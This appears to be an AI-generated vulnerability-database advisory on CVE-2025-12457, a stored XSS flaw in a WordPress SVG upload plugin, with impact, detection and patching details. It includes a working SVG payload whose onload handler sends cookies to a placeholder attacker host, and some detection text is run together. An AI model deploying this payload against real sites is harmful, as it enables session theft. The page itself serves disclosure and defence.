
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-12457 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Enable SVG, WebP, and ICO Upload" plugin for WordPress. It affects all versions up to and including 1.1.2, and was published on November 18, 2025. The flaw allows authenticated attackers with Author-level access or higher to upload malicious SVG files containing arbitrary JavaScript that executes when any user accesses the file. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is insufficient input sanitization and output escaping when processing SVG file uploads, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code resides in includes/class-svg.php at line 21 of the plugin, where uploaded SVG content is not adequately sanitized before being stored or rendered. An attacker with at least Author-level WordPress credentials can upload a crafted SVG file embedding malicious <script> tags or event handlers; the payload executes in the browser of any user who subsequently accesses or views the SVG file. No user interaction beyond viewing the file is required for the payload to trigger (Wordfence, ENISA EUVD).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, enabling session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site. Confidentiality and integrity are both rated Low impact, with no direct availability impact; however, chained with other vulnerabilities or social engineering, this could facilitate account takeover or site-wide compromise (Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12457 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).
wp-content/plugins/enable-svg-webp-ico-upload/readme.txt.<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/steal?c='+document.cookie">
<circle r="50" cx="50" cy="50" fill="red"/>
</svg>wp-content/uploads/ containing inline <script> tags, onload, onerror, or other JavaScript event handlers; unexpected SVG files uploaded by Author-level accounts..svg files in the uploads directory from multiple distinct user sessions; unusual outbound HTTP requests from the web server to external domains following SVG file access.Update the "Enable SVG, WebP, and ICO Upload" plugin to version 1.1.3 or later, which contains the fix for insufficient SVG sanitization (Wordfence). As a workaround, site administrators can restrict SVG upload capabilities to trusted administrator-level accounts only, or temporarily disable the plugin until patching is feasible. Additionally, deploying a Web Application Firewall (WAF) rule to block SVG uploads containing script content can provide an interim layer of defense.
The vulnerability was reported and disclosed by Wordfence, which serves as the primary source of technical detail and remediation guidance. No significant broader media coverage, researcher commentary, or social media discussion has been identified beyond standard vulnerability database aggregation (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."